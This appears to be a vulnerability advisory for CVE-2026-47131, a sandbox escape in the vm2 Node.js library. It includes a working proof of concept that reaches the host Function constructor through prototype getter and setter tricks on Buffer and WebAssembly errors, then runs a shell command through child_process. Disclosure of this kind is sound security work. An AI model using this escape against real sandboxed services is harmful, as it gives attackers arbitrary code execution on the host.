CVE-2026-47131
Summary
By combining Buffer.call.call({}.lookupGetter, Buffer, "proto"), Buffer.call.call({}.lookupSetter, Buffer, "proto"), and Node.js's ERRINVALIDARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox.
This allows attackers to run arbitrary code.
PoC
"use strict";
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
"use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
setProto.call(getProto.call(e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
const HostFunction = e.constructor.constructor;
new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
}
}
f();
`);Impact
Sandbox Escape → RCE
Package Versions Affected
Automatically patch vulnerabilities without upgrading
CVSS Version



Related Resources
References
https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg, https://nvd.nist.gov/vuln/detail/CVE-2026-47131, https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8, https://github.com/patriksimek/vm2, https://github.com/patriksimek/vm2/releases/tag/v3.11.4